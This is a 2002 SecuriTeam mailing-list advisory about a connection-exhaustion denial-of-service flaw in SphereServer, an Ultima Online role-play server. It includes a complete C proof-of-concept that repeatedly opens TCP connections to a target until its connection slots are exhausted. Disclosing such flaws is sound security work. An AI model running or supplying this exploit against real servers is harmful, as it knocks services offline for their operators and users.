[NEWS] Denial of Service in SphereServer

From: support@securiteam.com
Date: 03/09/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sat,  9 Mar 2002 20:14:28 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  Denial of Service in SphereServer
------------------------------------------------------------------------

SUMMARY

The SphereServer is an Ultima Online Role-play Server (Multiplayer). Some
people use this as an unofficial Server to host Free Role-play Worlds for
a large community of Players. The Developer of the Software is
<http://www.menasoft.com> MenaSoft. Since no IP-limitation exists in the
product anyone can connect to it several times causing a denial of service
in the product (by exhausting all available connection slots).

DETAILS

Vulnerable systems:
Sphere99x - Linux, FreeBSD, Win32

Immune systems:
Sphere version 0.5x

The problem lies in the fact that the server counts you as a client as
long as remain connected (even if you send it no other command following
the authentication processes). If you do this several times, the
max_connections will be reached, blocking all new incoming connections.

Exploit:
/*
 *
 * www.h07.org
 * H Zero Seven
 * Unix Security Research Team
 *
 * Sphere Ultima Online Server - Denial of Service Vulnerability
 * poc-exploit...
 *
 * Simple code to eat all connections from the gameserver, so other
 * peoples could not connect to the server.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
{
   int fd;
   struct sockaddr_in tgt;
   
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
return -1;
   return fd;
}

int sprint(int fd, const char *str,...)
{
   va_list args;
   char buf[4096];
   memset(&buf,0,sizeof(buf));
   va_start(args,str);
   vsnprintf(buf,sizeof(buf),str,args);
   return(write(fd,buf,strlen(buf)));
}

int main(int argc, char *argv[])
{
   int fd;
   struct sockaddr_in box;
   
   fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
   fprintf(stderr, "H Zero Seven - Unix Security Research Team -
www.h07.org\n\n");
   if (argc < 2) {
      fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
      return;
   }
   
   fprintf(stderr,"for the full advisory regarding this vulnerability
visit www.h07.org ... \n");
   fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if (fd<0) {
      perror("socket() ");
      return;
   }

   fprintf(stderr,"Attacking sphere : ");
   for (;;) {
      int sock;
      
      sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
      if (sock<0) {
         sleep(10);
         continue;
      }
       fprintf(stderr, ".*");
   }
}

ADDITIONAL INFORMATION

The information has been provided by H Zero Seven.

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